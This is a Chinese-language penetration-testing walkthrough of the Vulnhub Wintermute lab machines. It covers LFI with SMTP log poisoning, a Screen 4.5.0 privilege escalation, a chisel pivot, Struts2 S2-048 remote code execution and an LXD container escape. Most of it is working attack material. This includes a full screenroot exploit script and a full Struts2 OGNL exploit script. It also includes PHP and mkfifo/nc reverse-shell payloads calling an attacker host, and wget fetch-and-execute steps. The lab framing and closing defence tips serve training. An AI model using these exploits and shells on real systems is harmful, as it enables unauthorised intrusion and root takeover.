[Vulnhub]Wintermute LFI+SMTP+Screen+Structv2-RCE+Lxc逃逸
字数 1317 2025-08-19 12:41:24
Wintermute靶机渗透测试教学文档
靶机概述
Wintermute靶机包含两个系统:
- 192.168.8.103 (straylight) - 初始目标
- 192.168.28.4 (neuromancer) - 横向移动目标
第一阶段:信息收集
初始扫描
nmap 192.168.8.103 --min-rate 1000 -sC -sV
扫描结果:
- 25/tcp - SMTP (Postfix)
- 80/tcp - HTTP (Apache 2.4.25)
- 3000/tcp - ntopng服务
ntopng服务
- 默认凭证:admin/admin
- 发现80端口存在/turing-bolo目录
第二阶段:漏洞利用
1. LFI漏洞利用
在/turing-bolo目录发现bolo.php存在本地文件包含漏洞:
http://192.168.8.103//turing-bolo/bolo.php?bolo=molly.log
通过删除.log后缀可触发漏洞:
http://192.168.8.103//turing-bolo/bolo.php?bolo=molly
利用SMTP日志文件进行LFI:
http://192.168.8.103//turing-bolo/bolo.php?bolo=/var/log/mail
2. 通过SMTP日志注入获取RCE
步骤:
- 连接SMTP服务:
nc -nC 192.168.8.103 25
-
注入PHP代码到日志中
-
通过LFI执行代码获取反向shell:
http://192.168.8.103//turing-bolo/bolo.php?cmd=php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.8.107%22%2C10032%29%3Bexec%28%22%2Fbin%2Fbash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27&bolo=/var/log/mail
监听端口:
nc -lvnp 10032
3. 权限提升(Screen 4.5.0漏洞)
查找SUID文件:
find / -perm -u=s -type f 2>/dev/null
发现screen存在漏洞,使用以下脚本提权:
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
执行步骤:
cd /tmp
wget http://192.168.8.107/root.sh
chmod +x root.sh
./root.sh
第三阶段:横向移动
1. 发现内网主机
在192.168.8.103上发现note.txt,提到:
- 存在192.168.28.4主机
- 部署了struts2_2.3.15.1-showcase应用
2. 建立隧道
使用chisel建立SOCKS5隧道:
服务端(Kali):
./chisel server -p 2333 --socks5
客户端(靶机):
./chisel client 192.168.8.103:2333 socks
配置proxychains:
proxychains -f ./internal.conf
3. 扫描内网主机
proxychains -f ./internal.conf nmap 192.168.28.4 --min-rate 1000 -Pn
proxychains -f ./internal.conf nmap -p 8009,8080 192.168.28.4 -Pn -sC -sV
发现8080端口运行Tomcat和Struts2应用
4. Struts2 S2-048漏洞利用
使用以下Python脚本进行利用:
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Just a demo for CVE-2017-9791
import requests
def exploit(url, cmd):
print("[+] command: %s" % cmd)
payload = "%{"
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmd
payload += "}"
data = {
"name": payload,
"age": 20,
"__checkbox_bustedBefore": "true",
"description": 1
}
headers = {
'Referer': 'http://127.0.0.1:8080/2.3.15.1-showcase/integration/editGangster'
}
requests.post(url, data=data, headers=headers)
if __name__ == '__main__':
import sys
if len(sys.argv) != 3:
print("python %s <url> <cmd>" % sys.argv[0])
sys.exit(0)
print('[*] exploit Apache Struts2 S2-048')
url = sys.argv[1]
cmd = sys.argv[2]
exploit(url, cmd)
执行步骤:
- 在Kali上设置socat端口转发:
socat TCP-LISTEN:10034,fork,reuseaddr TCP:192.168.8.107:10034 &
- 准备反弹shell脚本(re.sh):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.28.3 10034 >/tmp/f
- 在Kali上启动HTTP服务:
python3 -m http.server 10034
- 分步执行攻击:
proxychains -f internal.conf python3 exp.py http://192.168.28.4:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.28.3:10034/re.sh -O /tmp/re.sh"
proxychains -f internal.conf python3 exp.py http://192.168.28.4:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/re.sh"
proxychains -f internal.conf python3 exp.py http://192.168.28.4:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/re.sh"
- 监听端口:
nc -lvnp 10034
第四阶段:权限提升(LXC逃逸)
1. 建立SSH连接
发现ta用户可以写入/home目录:
for dir in /home/*/; do touch "$dir/1.txt"; done
生成SSH密钥:
ssh-keygen
cat /home/ta/.ssh/id_rsa.pub > authorized_keys
从Kali连接:
proxychains -f internal.conf ssh -i id_rsa ta@192.168.28.4 -p 34483
2. LXD提权
发现ta用户在lxd组,使用以下步骤提权:
- 在Kali上构建Alpine镜像:
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo ./build-alpine
- 设置文件传输:
socat TCP-LISTEN:10035,fork,reuseaddr TCP:192.168.8.107:10035 &
python3 -m http.server 10035
- 在靶机上下载并导入镜像:
wget http://192.168.28.3:10035/alpine-v3.20-x86_64-20240613_1112.tar.gz -O /tmp/alpine.tar.gz
lxc image import /tmp/alpine.tar.gz --alias test
- 创建特权容器:
lxc init test ignite -c security.privileged=true
lxc config device add ignite test disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
- 现在可以访问宿主机的完整文件系统在/mnt/root下
关键知识点总结
-
LFI漏洞利用:
- 通过文件包含读取系统日志
- 利用服务日志注入恶意代码
-
Screen提权:
- 利用ld.so.preload机制
- 通过SUID二进制文件获取root权限
-
横向移动技术:
- 使用chisel建立隧道
- 通过proxychains进行内网扫描
-
Struts2漏洞利用:
- S2-048远程代码执行
- 通过OGNL表达式注入
-
LXC容器逃逸:
- 利用lxd组权限
- 创建特权容器挂载宿主机文件系统
-
稳定访问技术:
- SSH密钥部署
- 通过socat建立稳定通道
防御建议
- 及时更新易受攻击的软件版本
- 限制日志文件的写入权限
- 避免使用默认凭证
- 限制SUID二进制文件
- 实施网络隔离,防止横向移动
- 定期审计用户组权限,特别是lxd/docker组
- 对Web应用输入进行严格过滤